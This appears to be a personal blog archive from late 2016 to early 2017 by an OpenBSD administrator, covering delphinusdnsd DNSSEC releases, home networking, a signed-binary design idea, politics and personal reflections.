We also know that silicon can be doped to produce lasers. My suggestion is
to produce computers with photonic gates or fibre optic switches as components.
Put away with slow speed busses and combine RAM with CPU on one silicon
circuit. And interface this "package" with high speed optical paths to other
CPU's and I/O such as USB busses. There is very minimal soldering that needs
to be done in that scenario, but kids should learn to work with these high
tech components.
I am willing to bet a homebrew computer that uses light to switch it's I/O is
100 times faster than the usual 8 bit homebrews that we have. That's an
amazing 200 Mhz! We should teach our kids to build these from scratch giving
them the components only so that they can make their own.
I'm of the opinion that children from age 10 to age 14 should be taught how
to build their own computers and from age 14 through 18 use these tools to
expand their knowledge in other fields. Everyone their own computer! That
should be a must in the information age.
If you really think about this you may come to the conclusion as me that
people growing up around this idea will become craftsment from slaves and
will know how to build their own computers that are top notch technology.
Combined this is Open Source and Open Hardware and will tell the silicon
industry who possibly covet in secrecy to play fair. Their day has possibly
come.
Autumns Dress
October 18th, 2016
Got 4 Puffy Mugs today
October 18th, 2016
Delphinusdnsd name approaches 2 years old
October 20th, 2016
On November 14th, 2014 I forked delphinusdnsd from wildcarddnsd. It was a namechange to
indicate a new direction in programming, namely DNSSEC. I'd like to sum up
the milestones it got since then:
dd-convert.rb a ruby script to sign zonefiles
a semi decent working dnssec stack
Currently and this year I'm working on a replacement for dd-convert.rb to make
the project full C source again. And I'm getting ideas to incorporate parts of
dd-convert.c back into delphinusdnsd to help in things such as dynamic DNS that
is fully signed. But first I gotta get this done. It's my main task for this
year which had obstacles to overcome. I'm looking forward to 2017 to start
new things on delphinusdnsd and improve on it, here is some hints:
underlying database needs to be replaced, that means goodbye berkeley db.
The reason for this is that there is a bug with my implementation, not sure if
it's OpenBSD related or Berkeley DB related but it appears to affect queries.
And then there is always the need to refactor some code.
Will Internet Surveillance in Germany decelerate our Internet?
October 21st, 2016
Germany is already behind many other countries in Europe and elsewhere
(like South Korea), in terms of Internet speeds. Recently the BND
was given powers (german) to
surveill our Internet. I'm wondering if the surveillance will decelerate
our Internet from progressing into something fit for the 21st century.
South Korea is working on 10 Gbit/s speeds for everyone already. We're just
at 50 Mbit/s if we're lucky. I still have 16 Mbit/s. With every speed
upgrade at an ISP the BND will have to conform their spy equipment to similar
standards which is a burden on the taxpayer. I fear the pandoras box has been
opened.
Happy Hallowe'en!
October 31st, 2016
I got candies here! And awaiting children if any dare!
Shades can say so much!
October 31st, 2016
Made this photo a few days ago. I think it's very pretty.
Made with an iPod as I was walking down this path. Happy Autumn!
First day of Snow for the Season
November 8th, 2016
Yesterday I increased the heat to #2 on my electric "nachtspeicher" furnaces.
Tonight it's snowing. Stille Nacht.
Arctic Fibre aquired by Quintillion Networks
November 8th, 2016
Today is the first day of snow I experienced in 2016 fall season. In 2013 I
experienced the same first few days of snow in
Iqaluit, Nunavut.
Because I
saw a connection I researched the past and found in a link that Arctic Fibre
of Toronto, Canada was aquired by
Quintillion Networks last june. Quintillion Networks seems
to be run by people from Alaska. It reminded me how my friend in Iqaluit said
that Barrow, Alaska has a lot in common with Iqaluit (I think he said that on
twitter). Anyhow the Canadian part joining with the Alaskan part and stretching
to the UK is probably in limbo since it's been pushed back to Phase 3. But
here is hoping that Iqaluit will get terrestrial submersed fibre optic cable
some day.
Donald Trump is president of the US-elect
November 9th, 2016
I did not cheer for Hillary and I did not cheer for Trump. Americans failed
to look for the alternatives. My favourite was Jill Stein, who got very little
votes if any. I did not cheer for the "lesser evil" I turned my thoughts away
from the Clinton-Trump pair, even though people tried to tell me I had to
chose. I don't have to chose, I chose the alternative. Hopefully the Donald
will not wreck too much in relations between my country and the USA. I count
on the real alternative, the US Green Party.
Government (NASA) Space Program likely to suffer under Trump
November 9th, 2016
I talked a little about the American and European space programs in the past.
Now on one hand it was a GOP under Dubya Bush who wanted Moon to Mars. However
Trump has other priorities. He wants to fix the potholes in America first.
He makes economic sense, there is no glory when your infrastructure is
failing. But we likely won't see much action until at least 2021, that's after
his first term is my thought. With Obama the American Space Program suffered
but Obama set something in motion that was perhaps a smart move. The private
space industry, SpaceX, boeing, those sorts of private enterprises.
A real exciting Idea
November 10th, 2016
Yesterday I was brainstorming how to "sign" binaries in OpenBSD, and I caught
an itch. I don't know if I'll ever do this but I've given it thoughts since
yesterday. First though I want to show you this,
here.
I'm not the only person that thinks a signed binary in OpenBSD would be a good
idea. So then I thought about how to do this a little.
In the kernel the exec routines for reading an ELF binary would have to be
modified in the following way. It reads the ELF program header table and
expects a PT_OPENBSD_ELFSEC program header identification. By reading in
the entire binary upon exec, given that the user is not root (a suser check)
and caching shows no binary behing checked before (a walk of a LIST), the
kernel HMAC checksums the binary with a key that was ioctl'ed into the kernel
at boottime under securelevel 0, in fact this check is only done if the
securelevel is > 0. It then compares the section of PT_OPENBSD_ELFSEC
and it it matches it discards the read file, and lets read-on-demand take
over for the file. It is running a genuinely "signed" binary.
In userland there is 4 programs that get modified. Binutils, strip, elfsec
and elfsecd. When compiling new programs the PT_OPENBSD_ELFSEC program header
gets added to the ELF program headers. As root you can execute any signed
binary becasue then it doesn't matter if signed or not, a hacker has all
control over the system. When binaries are compiled make calls strip with
a new argument which will "bless" a binary with the elfsec program when root.
When a non-root user it is checked first if a user is allowed to bless
binaries and then elfsec speaks with elfsecd to bless a binary with the
private key that only root can read, a bunch of descriptor passing within the
imsg framework would work out nicely. The elfsec binary should also be able
to bless entire directories such as /bin, /sbin, /usr/bin, /usr/sbin etc.
This is the track I have wrapped my thoughts around. Dunno if it's worth it
but the installer program would need to be modified to rebless new binaries in
an upgrade. That would satisfy all those naysayers that say it would never
work. In the end result you prevent someone else from importing binaries that
you don't want runnning on your system. Perhaps a worm of sorts. It's
another level of security and it would cost an attacker a lot of resources to
crack the private key to each binary. It would slow down a system somewhat,
but I've been using SSD's for a few years now and don't see this as much of
an issue, also there is caching which should speed this up.
Hehe, thinking of vapourware can be mind consuming for sure :-).
OpenBSD Donation Time
November 19th, 2016
Part 2/2 of this year, I have donated 100 EUR to Theo de Raadt. This wraps
up my donations to all *BSD's this year. BTW the donation meter at
OpenBSD foundation
is almost filled to the goal. Congrats OpenBSD!
The Hydrogen Economy
November 23rd, 2016
My dad thinks this is a real good concept. The Hydrogen Economy. Unfortunately we're not there
yet, but rest be assured our militaries submarines have been using these for
quite a while. Maybe in another lifetime will we civilians make use of this.
My OpenBSD bridge inside Freifunk Franken
November 23rd, 2016
Freifunk Franken is a network that is partitioned into what's called hoods.
While the entire network consists of 10.50.0.0/16, my hood has 10.50.60.0/19
or something. I'm in the Hassberge Sued Hood which is centered around
Hassfurt. Each hood represents a Layer 2 (Datalink layer) network, so you
can reach within 1 IP Hop everything inside it. Since geographically my
parents house and my apartment are in the same Hood, I set up an OpenBSD
machine as a bastion host between my internal network and the freifunk franken
network to do IPSEC tunneling in order to have security and integrity between
my parents house and my house. The bastion host I set up at my parents house
looks like this:
It is a PC-ENGINES APU router that does not have forwarding between its
interface, hence there is no way to misroute things.
I've been running this for a few weeks now and have hooked up SIP phones to
this. The phone conversations are clear as ever (38 ms ping). Knowing that
they are encrypted is a big bonus.
Blueberries
November 29th, 2016
At my local supermarket I picked up a batch of blueberries. When I ate them
I noticed a change in vision and a hightened awareness. This made me
curious what I experienced. For one it enacted in my visual senses, so that
must be the occipital lobe area of the brain. Reading online about this
fruit I found that it is classed a "superfood", a nutrition bomb so to speak.
It is high in Vitamin C and K and has manganese. It is good to have when
you have nutritional deficiencies. It sure made a diff for me this afternoon.
Also its latin name of its genus: vaccinium sounds like the english vaccine.
Maybe there is a relation. I'm glad I experimented with this.
Our Mass-surveilance problem
December 1st, 2016
I just watched Edward Snowden on a clip on youtube during dinner and he made
a great speech regarding that presidents can't fix the mass surveilance problem
and that we must fix it (as a world movement). He said we must weigh the
should we and shouldn't we or something, because lately it's been the can or
can't we. This reminded me that the german BND (spy service) has been given
150 million EUR to spy on people's snapchat and other encrypted forms of
communication. We have to work against the powerstructures that want to take
our privacy and route around these.
BTW there is fake news possibly saying that Julian Assange has been kidnapped
by CIA. Fake news can be so annoying because they could turn out to be real.
Julian, I hope you're OK!
2016 Year in Review
December 8th, 2016
A bit earlier than most years here is the review for 2016.
December 8th, 2016 This year in review 2016.
December 1st, 2016 Our Mass-surveilance problem
November 29th, 2016 Blueberries
November 23rd, 2016 My OpenBSD bridge inside Freifunk Franken
November 23rd, 2016 The Hydrogen Economy
November 19th, 2016 OpenBSD Donation Time
November 10th, 2016 A real exciting Idea
November 9th, 2016 Government (NASA) Space Program likely to suffer under..
November 9th, 2016 Donald Trump is president of the US-elect
November 8th, 2016 Arctic Fibre aquired by Quintillion Networks
November 8th, 2016 First day of Snow for the Season
October 31st, 2016 Shades can say so much!
October 31st, 2016 Happy Hallowe'en!
October 21st, 2016 Will Internet Surveillance in Germany decelerate our..
October 20th, 2016 Delphinusdnsd name approaches 2 years old
October 18th, 2016 Got 4 Puffy Mugs today
October 18th, 2016 Autumns Dress
October 16th, 2016 An idea and a plea for our worlds society
October 13th, 2016 Ordered 4 Puffy Mugs
October 13th, 2016 Upgraded io.solarscale.de to OpenBSD 6.0
October 11th, 2016 My core network
October 8th, 2016 Usutu Virus killing Blackbirds
October 6th, 2016 Good News
October 4th, 2016 I got credited to a bug report
October 4th, 2016 I've turned on the heat for 2016/2017
September 30th, 2016 FreeBSD Donation
September 30th, 2016 Victim of spoofed Mail
September 27th, 2016 My IPv6 setup at M-net (german provider)
September 20th, 2016 Ordered a book from Amazon
September 20th, 2016 Equinox in two days
September 14th, 2016 Stand up for Snowden
September 14th, 2016 TLS for centroid.eu blog, when?
September 9th, 2016 One more panic chronicle entry
August 30th, 2016 I had photographed Vega and Constellation Hercules
August 30th, 2016 The whereabouts of HD164595 in Hercules
August 24th, 2016 OpenBSD 6.0 Poster arrived
August 22nd, 2016 Ordered a Banana Pi R1 Routerboard and Case
August 22nd, 2016 Delphinusdnsd: Next week selfathon
August 19th, 2016 Eleven Reasons to be excited about the future of Tech..
August 19th, 2016 The Panic Chronicles
August 16th, 2016 My all-prime angled triangles
August 15th, 2016 less surveilance
August 9th, 2016 New self-portrait of me
August 5th, 2016 Psychosis: put to the test (my first psychosis)
August 5th, 2016 DSL: a question I've always wondered
August 5th, 2016 O Really? Do we really need NATO?
August 5th, 2016 Ordered 4 books
August 2nd, 2016 If I were to vote in the US Election today
July 30th, 2016 Freifunk Project fail
July 24th, 2016 Did you know: DoS report law
July 23rd, 2016 Finally quit Twitter
July 23rd, 2016 Media blackout of SZ.de yesterday
July 22nd, 2016 Quitting Twitter tomorrow at noon
July 22nd, 2016 The WTC conspiracy
July 19th, 2016 Sick of it
July 18th, 2016 My Stargate
July 15th, 2016 Ordered two books
July 13th, 2016 It's not me
July 5th, 2016 EU could be un-democratic
July 4th, 2016 Being Freifunk Active
July 2nd, 2016 The missing link
June 29th, 2016 Changs at $HOME
June 26th, 2016 Ordered books from Amazon
June 25th, 2016 I hunt sysadmins
June 25th, 2016 EU, somethign must change
June 24th, 2016 Idea Brainstorming for Britain
June 24th, 2016 Goodbye Britannia
June 21st, 2016 Happy Summer!
June 20th, 2016 June Solstice in 3 days
June 18th, 2016 Received seven Freifunk Routers
June 12th, 2016 Most cannot see the milky way
June 10th, 2016 Energiewende in Danger
June 10th, 2016 Why I prefer BIND over unbound currently
June 4th, 2016 OpenBSD Donation Time
June 4th, 2016 Brexit, I'd like UK to stay
June 4th, 2016 Gotthard Base Tunnel
May 26th, 2016 Moved delphinusdnsd
May 21st, 2016 Turkeys government? No go!
May 20th, 2016 Instead of Toronto, Ireland?
May 16th, 2016 5 days left for americas.centroid.eu
May 15th, 2016 Ordered books
May 12th, 2016 Donated $5 to ISC
May 12th, 2016 The need for a mesh network
May 12th, 2016 Stoererhaftung has been eliminated in Germany
May 10th, 2016 Europeans love English!
May 7th, 2016 One router too many? The add-up.
May 7th, 2016 RPI Guest AP done, but not for 2.4 GHz
May 5th, 2016 Not passing down my RPI after all
May 3rd, 2016 My dreamworld
May 2nd, 2016 Blog's birthday
May 2nd, 2016 Considering an SSD upgrade
May 1st, 2016 13,500 positions in the German Cyber Army
April 22nd, 2016 Doing a training session this summer
April 15th, 2016 Stand down! OK.
April 13th, 2016 12 months of Parship
April 7th, 2016 VDSL not until February 2017
April 7th, 2016 Registered a new domain
March 30th, 2016 I waited 3 years for this moment
March 28th, 2016 Ordered 100 Mbit Internet
March 27th, 2016 A rare word on politics
March 27th, 2016 Handing down my Raspberry Pi model B
March 27th, 2016 Very cool presentation by Agarwal
March 21st, 2016 Spring now...
March 19th, 2016 Making a turn-key dns server out of DelphinusDNSD
March 14th, 2016 Lordy Lordy loook who is Forty
March 6th, 2016 30 Years of Personal Computing History
March 6th, 2016 After 16 years, I got a TV
March 3rd, 2016 Ordered a backup Firewall
March 1st, 2016 New VDSL modem turned on
March 1st, 2016 19 days until March Equinox
February 24th, 2016 New Access Point in my apartment
February 24th, 2016 Venus broke
February 23rd, 2016 Registered domain zeropager.de
February 20th, 2016 Getting a TV after 16 years having none
February 18th, 2016 Apple is right (in this case)
February 12th, 2016 DSL Link issues, Provider refuses to help me...
February 8th, 2016 Delphinusdnsd waht's next in development?
February 3rd, 2016 Ten days from now is Year Three
February 3rd, 2016 Electricity for 2015 way up
January 29th, 2016 Delphinusdnsd 1.0.1 released
January 23rd, 2016 All Domain Names signed
January 22nd, 2016 Delphinusdnsd - ironing out the DNSSEC bugs
January 21st, 2016 What's up down with the Canadian Dollar?
January 20th, 2016 Preparing to sign my zones -> DNSSEC
January 19th, 2016 To Human Artificial Systems
January 9th, 2016 Dissecting WebShoppy Mac OS X trojan
January 8th, 2016 Organized Crime is the Enemy
January 6th, 2016 Donation time
January 3rd, 2016 The invisible man
January 1st, 2016 How hard can changing a password be?
January 1st, 2016 When a book loses significance
January 1st, 2016 Delphinusdnsd 1.0.0 Released
December 31st, 2015 More power from Arabia and Sahara?
December 29th, 2015 Our XMAS Dinner
Enjoy the memories.
Solstice in three days
December 18th, 2016
The solstice will be here in three days. Happy solstice!
Merry Christmas
December 24th, 2016
May Santa be good to you.
Christmas Tree 2016
December 24th, 2016
Not really a tree, but this is how we've done it for the past decade or so.
Merry Christmas!
Hacking days
December 27th, 2016
I'm on vacation. I've decided to use most of my vacation days to hack on
delphinusdnsd. If you're interested in progress I'd suppose you could look
at this link. Thanks for well-wishes!
Happy New Year 2017
December 31st, 2016
As I write this, it's already been new years in Fiji, so the Earth is
rotating in 2017 already. I had a very good year in 2016, and hoping
2017 will be good too. I wish the same for you.
Delphinusdnsd will be released January 29th
January 2nd, 2017
There is new news on
the delphinusdnsd website. To quote:
"DelphinusDNSD 1.1.0 is in alpha-testing, the release date is fixed to
around January 29, 2017. Contact me if you want to help. The changes are
far from staggering, they are more about programmer freedom. I have replaced
the Ruby program with a C program and rely less on an external program
provided by BIND. So I escape licensing caveats and am in a much better
position. Due to my limited time (so far a 1 person effort), I did not get
TODO's in that I really want to see in, maybe for the 1.2.0 release, which
would be in 2018 :-}."
I still invested a lot of time in this in 2016. But my resources are limited.
Any (open source) programmer will tell you this.. (time is not enough). But
I guess it happens everywhere.
Goodbye Mac OS X port
January 3rd, 2017
I have decided to drop the Mac OS X port for delphinusdnsd. If anyone wants
to pick this up all it really needs is a Makefile update. The reason I do
this is because Mac OS X is a dying OS at my house. I only have 1 native
Mac OS X computer left and I don't want to pollute it with Mac Ports. Also
I'm against running delphinusdnsd on a computer that has an open microphone
for Siri. Let the real operating systems survive.
BIND didn't reply with AD flag
January 5th, 2017
I made a configuration mistake in my BIND options. I had set dnssec-validation yes; but this was wrong, this is how it should look like:
Only with the auto set will the AD flag appear and validation is being done.
Thanks google for helping me find the problem.
RFC 8020 violation of Delphinusdnsd
January 8th, 2017
When delphinusdnsd has a zone.tld domain name and that contains a _25._tcp.mail.zone.tld domain name then when someone looks up just _tcp.mail.zone.tld
the daemon replies with an NXDOMAIN. This is wrong. It should reply with
NODATA which is NOERROR with nothing in the data section. Needless to say
I'm going to try to fix this before the 1.1.0 release.
Obama, why not pardon Chelsea Manning?
January 8th, 2017
Chelsea Manning is still imprisoned. Why doesn't President Obama pardon her?
There is one week left to do that. Act now!
After fixing NODATA of ENT names...DNSSEC breakage
January 10th, 2017
My DNS server delphinusdnsd is currently broken in NOERROR reply when dealing
with ENT (empty non-terminal) names in DNSSEC. I'm working on the issue after
having tested ENT additions, and hope to finish by the 28th of January. If
not then the 1.1.0 release will have to be postponed. These ENT fixes as
explained in RFC 8020 are an absolute must for a DNS server and I have to
fix it.
Short Weekend
January 16th, 2017
A harddrive died at work and re-ordered my weekend in such a way that I did
not sleep at my parents which I usually do. I had to get up at 5:35AM this
morning to assist the remote hands to swap the failed drive. Ahhh. The life
of a sysadmin, when shit breaks. And shit will break. It's just a matter
of time.
Blog outtage
January 18th, 2017
This blog was down for 24 hours because of the power outtage in Amsterdam
yesterday. Even though my VPS came back yesterday I forgot to check the
PHP scripts and just noticed it was down. Sorry for the inconvenience.
I have taken steps to make sure that php55_fpm gets started right after
reboot. It was a badly named rc script.
Thank you President Obama! Chelsea will be released May 17th
January 18th, 2017
Chelsea Manning has all the reason to celebrate today because her days in
prison are numbered. Before her sex change she was named Bradley. I have
dug up this photo of her from an article from September 3rd, 2011.
If you don't know what Chelsey did it was like this. In the war in Iraq a
family of children and women and a man were shot up by a helicopter gunship.
It was gruesome to watch, and it was Chelsea that released the video to the
public. Chelsea sat in prison for someone else (the pilot), is my take on it.
Anyhow leaking such material from the military is not undangerous, as you can
see Chelsea sat 6+ years in prison. She tried to commit suicide and did a
hunger strike. All that will be past soon but the scars remain and will need
healing.
After 8 years presidency Obama becomes ex-president
January 19th, 2017
What did president Obama mean to me? He was the first black US president many
said but he had a white mother so that makes him half-white. I realise he had
no luck with the senate which was mostly republicans and there was a time when
I thought that many decisions done by the senate were racist in contrast to
president Obama's vision.
One thing which he did not achieve was closing Guantanamo Bay (gitmo). I'm not
sure if he tried hard enough on that, or if he was ignored by the military.
I used to dream of US presidents a lot because of their exposure in the news.
The last dream I had of Obama was during the Ukraine crisis so in 2015.
President Obama closed the US Army Garrison in Schweinfurt, Germany where I
live. There was 2 bases here and in hindsight it was a good thing that the
military moved out. We are a strictly civilian town now. And the bases were
reused to house refugees during and after the 2015 migrant crisis. When I
told someone on a train in Canada who was US citizen that our bases were going
to be closed, the response was "why are they doing that?!" that was in 2013.
When I replied "Obama", he said "makes sense". I think I was taken out of
context though, I have nothing against Obama at all. Compare him with all
the previous presidents dating to Reagan, he was probably the best of them all.
Now in terms of globalisation I feel that Obama was a little reserved, he
tended to want to isolate the US. His successor is a real isolationist so
Obama was hardly isolationist compared to what we think Trump is. I'm glad
president Obama pardoned Manning. Too bad he didn't intervene earlier. But
he is a president that tries to go by the rules as much as possible. In this
case he could have bent the rules more, noone would have objected. All in all
I think Barack Obama served the American population well, from an outsider's
viewpoint. I will miss him.
Electricity for 2016
January 19th, 2017
I come through with reduced energy, even though I pay more this year. This is
because the costs per KWh went up.
Year
Night
Day
Total
2013
6941
1276
8217
2014
6906
1323
8229
2015
10151
1452
11603
2016
9643
1420
11063
The apartment was mostly heated and not once did I freeze that I can remember.
But it would be nice if the 2014 Night values came back :-).
Fan of flying machines
January 19th, 2017
When it's day I look out my window a lot. I enjoy watching the pigeons do
their formation flying. And sometimes... I get this:
If you enlarge the image you may see more. It is three Apache gunships and
one Chinook (so I call them) that is a troop transporter for 25 or more fully
equipped troops. Anyhow these make a hell of a noise when they come around
so I was able to snatch a few pictures.
Delphinusdnsd will be released in roughly 4 days
January 23rd, 2017
I'm putting the last few changes in to make this software ready to be tagged
and put up for download. If you'd like to beta test you have roughly 4 days
to grab a snapshot and try it out. So far I've tested this on Ubuntu, Rasbian,
OpenBSD, NetBSD, FreeBSD and OpenSuse, and it seems to work. The new release
will be version 1.1.0.
First mesh in Schweinfurt/Deutschhof
January 25th, 2017
Schweinfurt got the first mesh between two non-associated parties (me and the
bakery Höreder Beck). As you can see on the yellow link that there is
a medium quality link there. However the link does disappear a lot due to
interference. I'm hoping on putting up a relay which is coloured red across
the parking lot, which shortens the distance to both endpoints. Hurrah
Freifunk!
Delphinusdnsd 1.1.0 released
January 28th, 2017
Finally I tagged the tree and made a tarball. The news at
delphinusdns.centroid.eu
say the following:
DelphinusDNSD 1.1.0 has been released on January 28, 2017. New is a
dd-convert.c C program that replaces the ruby tool with the same name.
Also I have fixed Empty Non-Terminal (ENT) Names in this release, meaning
earlier version likely give wrong answers on the Internet. You can get
the source under the "Source" link. Mac OS X port has been dropped.
I'm glad this last years efforts were finished in time. Now I'm gonna rest it
a little and figure out where in what area I have to put my efforts next.
Switching Internet Providers
February 9th, 2017
Today I got a package in the mail. It was from Telekom.de. They sent me
a new set-top box for my TV. Also they sent me login credentials to their
network. On Monday next week my modem will likely go offline either before I'm
home or just after, and I'm going to put my new VDSL modem to use. I upgraded
the OS on my routers gamma and venus, so that they won't be panic'ing on
igmpproxy which is needed for the Telekom IPTV. I got everything prepared.
Monday is the big showdown though. I'm very excited as I'm going from 16/1 to
100/40 and I was hurting on the upload at nights. Better soon come!
Updated Network Map
February 9th, 2017
I have updated the Network map on how my network will look like after monday:
New is that I drilled a hole through a wall for a cat5 link between access
point and venus. I have also laid conduit for 2x 10 meter cabling for the TV
and the IPTV set-top box. One thing that is funny is when I'm connected from
beta to supercluster which is on the Internet, and I reboot venus, then the
connection will drop between supercluster and beta. I haven't figured out
why yet though. There is an IPSEC tunnel going from beta via uranus via gamma
to mercury, that IPSEC's the part going over wireless. It too doesn't touch
venus, so mega weird.
Munich show a little more respect to Linux
February 10th, 2017
Linux for the city of Munich was innovative and popular. Now the CSU and SPD
municipal government wants to turn back the clock and go with Microsoft
products again. They forgot the lock-in they were in before. All over
Germany people said "you should go to Munich" if you had anything to do with
Linux. Such a movement should be rewarded not punished by tearing it down.
They say that Microsoft is the standard. Well, to be honest I haven't used
Microsoft products for over 20 years. I often can't find work when I'm
looking for new work, perhaps because I didn't buy into the Microsoft hegemony.
Those that use alternatives should be rewarded for being different in my
opinion. If you saw the business opportunities the alternatives can create
you'd want the alternative too. Microsoft is a dead-end. Anyhow shame on the
munich municipal government for their wrong decision.
I switched Internet Providers
February 14th, 2017
M-net was my old provider. They changed around 5 years ago and didn't give out
goodies such as static IP's. That peed me off enought that I decided to switch
the competition has all the stuff they have by now and more! I get VDSL2 now
and get 100/40 speeds (more like 102/38 but meh). All in all I'm happy with
this move. Unfortunately the new IPTV won't work on my network, I'm hoping to
be able to give it back to the ISP and get a discount for just IP and SIP
phone service. I still have to connect my SIP account but that shouldn't be
so hard.
Why I won't be renewing my Parship.de membership
February 17th, 2017
Parship.de is a matching/dating service. After one year and 500 EUR or so, I
do not think I got the best service in the country. In fact I feel parship
got a free ride off my money. Like I told my mom I'd have a better deal with
a hooker for that money than get to look at the blurred out pictures of parship.
Unlucky for me I don't really believe in hookers. So I had one person who I
even talked to in messages there, noone else was interested in me. And she was
an 80 out of a possible 117 points, so rather a bad match. They base these
points on some psychological profile and try to match strengths with weaknesses.
She stopped talking to me just before christmas right after I told her I had
visual hallucinations before, I'm quite honest about my mental illness.
Hiding from myself rests on my conscience and I can't go through with it.
I like to be as honest as possible. In this case the person I talked with
wasn't interested in psychos. How boring.
So I won't be renewing and I have
already cancelled. Also I have noticed whenever they tried to match me with
someone else the other party was fat like me. Just an observance.. mix all
the psychos with the psychos, the fat ones with the fat ones and the coloured
with the coloured ones is the impression I got from that. In the end the
skinny, white and truely pretty people can continue their games of cheating,
lying and using others. Go ahead.. not my game! I can't lie I'm attracted
to normal sized women as much as anyone else. I'd date a fat one too
but I feel the algorithm chose them for me because they were fat, and I'm
sorta sick of that. In many cases, like in mine, being fat is not our fault
but a side-reaction to medication used.
Also I sorta missed the bus. If I meet someone and we possibly marry and have
kids... what worries me is that at older age there is higher chance of downs
syndrom for the babies, so I looked for women mostly 8-10 years younger than
me. And it felt weird because these women were just getting their lives going
and I felt I wasn't on their wavelength. It just didn't work out. I'm glad
for all those couples that met online through a matchmaker, but for me it
wasn't great. I dunno I don't think I'll ever marry or have children anyhow.
And getting into a relationship with someone who has kids...well that's too
hard for me to follow through with. I don't want to use them because they're
desperate finding a partner that can raise their kids, and it's too much of a
burden for me as well. I'm a big baby myself and needn't be an extra chore
for someone with a lot of chores. So meh. Forever doomed?
Jobless despite Certification
February 21st, 2017
Golem.de (a news portal I read) reports that
a 36 year old IT pro with system admin certifications and 10 years experience
can't find work. Hear, hear! I believe it as I'm unofficially looking as
well. Problem is that the golem article talks about 3000 such sysadmins also
can't find work. It makes you wonder what is going on here?
We get Linux certified and can't use our
skills? There is 50,000 job postings for IT jobs, why do 3000 people have to
be out of work? The industry has not adjusted to what people are being trained
on. Give us Linux jobs! Give us UN*X jobs! Also I would like to have the
government probe into workplaces that are just faking job postings. To gain
information for statistical purposes and advertising. If that is the case
it should be highly illegal.
ZeroPager.de domain about to expire
February 21st, 2017
I registered this one either last year or the year before as a test domain.
It served its function well. I'm letting it expire.
Networking Plans for future Computers in my Home
February 24th, 2017
I'm hoping to replace everything (everything!) in my house with 10 gbit
Ethernet equipment by/at the year 2020. For those equipments with many
ports I have planned to get a high-end NUC or so and a switch that does
VLAN'ing. My personal preferences for such a switch is 8+ ports and 22 watts
power consumption or so. I've seen some switches that do 40 watts and that's
too much for me. The cables will have to get upgraded too as they are cat5e
standard, and I believe 10gigE requires cat 6 or 7. At least the countup of
all of this is gonna be easy. These are my dreams for 2020 anyhow. There
is 3 years to go, and I know I'll get cravings to get new equipment in between
that. I hope I can stay disciplined enough.
Four years in this ol' place
February 24th, 2017
I forgot to say...I am now four years in this apartment. Time has really flown. It's almost
as long as my last apartment, which was a long time. I'm hoping on staying in
this apartment beyond 2020. Unless I get other opportunities.
My first SIP ALG program
February 26th, 2017
ALG is a VOIP term and means Application Layer Gateway. I have created in the
last week a SIP ALG program that I call rtptrack. It makes sure that outbound
(inbound untested) calls work on the t-online.de network. The router I use
is OpenBSD with the pf filtering system (which is supreme!).
The reason that t-online.de did not work with its existing setup was that they
don't utilize an "rtphelper" algorithm which helps RTP punch a hole into a
firewall. Sipgate.de and the VOIP company I work for do this and their setup
just works (tm). RTPtrack should make Telekom work too. Finally something
there works!
It's too bad what I'm about to say. But computers of today are not secure
enough for todays election (!!!). A white hat hacker in the Netherlands
agrees and has facts why. His story is at soylentnews.org. Computers these days are a
joke and I'll give you another example. I bought a computer in 1997. It was
the cheapest of its kind for $850, and they really skimped on the parts. That
same computer would be worth $1,240 today with inflation. But we can buy PC's
for $300 so they really got a lot cheaper and/or skimped on the parts (and
polluted rivers in China). We know they skimp on the parts because computers
have not become inherently safer. In fact they are faster but brain damaged.
So it's to no surprise that security software often slow computers down.
(Why is that?!) It's because security requires processing in order to make
smart decisions! I'll give you one example. The ISN of a TCP session in
OpenBSD uses the cryptographic routine called arc4random(). Do your homework
why this is important (see /usr/src/sys/netinet/tcp_subr.c - function
tcp_set_iss_tsm(), an RFC 1948 is quoted in the comments). So while computers
have gotten 4 times as cheap over 20 years, they haven't changed in design.
This is too bad, this must change! In fact I'd expect a computer to cost
more than $1,240 if it were anything more than crap!
When I fell into the EU's lap, or, what's wrong with you?
March 5th, 2017
When I left West Germany as a child to live in Canada for a decade and a half,
I left not knowing about the EU. I retained a german passport however and
returned to now-united Germany in 2002. In fact in 2002 I don't remember
using the DM anymore and it was the Euro. The EU was big in population.
Real big. Bigger than the USA, and I had to get to terms with that, that
I'm now living in a 500 lbs Gorilla superstate.
Sooner or later I began to like what the EU allowed me to do. I took on
trips to France and the Netherlands in the next decade, without needing to
go to customs or money exchanges, and it was a great feeling. It was like
something directed me into place that I was a European now and not just a
German citizen.
I also considered taking a train to London via the Channel Tunnel right from
home and considered the route on bahn.de. Unfortunately with Brexit I'll have
to delay that London trip a little bit. I don't feel comfortable with customs
at all. We should live in a borderless world. Really! And we should become
world citizens. But it will have to be European as a first step.
Don't get me wrong. I too have had my share of hard times being unemployed
for 7 years at a length, in Europe. It may seem sometimes that Europe is not
able to compete with itself for jobs. But at the same time we're getting
richer as a community so the money goes somewhere. I'd say look not at
globalization as the culprit but the un-equal structures that evolved before
states united into the EU.
We have to make the EU great. And not again. Because we were never great.
We're in our infancy and the six founding members of the EU, of which Germany
(West) is a part of, needn't try to break up this once in a lifetime
opportunity. We are the core, we should set the examples for the rest of the
EU.
In the past I have seen an unseen hand of the Internet try to downgrade the
EU. Try to sever our bonds from far. With me that doesn't work however I
see much to be desired for when it comes to the number of crisis situtations
that we have to endure. I'd like to see us become closer tied in the future.
That means not just internal affaires being handled in the EU but also that
we have an arm of external affaires and handle those. Only then can the EU
defend itself.
Germany is having an election year this year and I do intend to vote for a
pro-EU and pro-solidarity party. Have a nice day.
The car I intend to buy
March 5th, 2017
I've not had a car since 1993, so close to 25 years. Back then I had a 1987
Dodge Shadow (turbo). And after moving to a metropolitan area of 4 million or
so inhabitants (rough estimate), I preferred taking the subway, bus, or even
go about by bicycle. Since I've been working at a job in the VOIP industry for
close to 7 years now, I've saved up my money. And I'm finally wanting to
spend that money again. First I wanted to invest it into a business, but that
is harder than you think. I'd rather get a car now and i've set my eyes on an
electric car. Particularily the
Renault Zoe. I've fallen in love with that little car, even though I
haven't driven it yet. Should be interesting taking my first ride in it.
With the car I'm going to get a few other gadgets. For example a cell phone.
Yep I haven't had a cellphone for close to 15 years now. I'll need it to
call emergency services when my car has problems. Also I do want to persue
astronomy more and perhaps get a Newton or such scope. With a car I can put
it all in the trunk and drive to locations where it's dark enough. I don't
know what it is but it seems I've been granted a new stage in life from a very
skimpish lifestyle to being normal. I'm just soaking it in, and spending the
money I aquired over the years. Should be good.
New VPS
March 7th, 2017
I know I have a lot of these but I really need one over in Canada. It's
a $10/mo digital ocean VPS in Toronto. I hope it sees use.
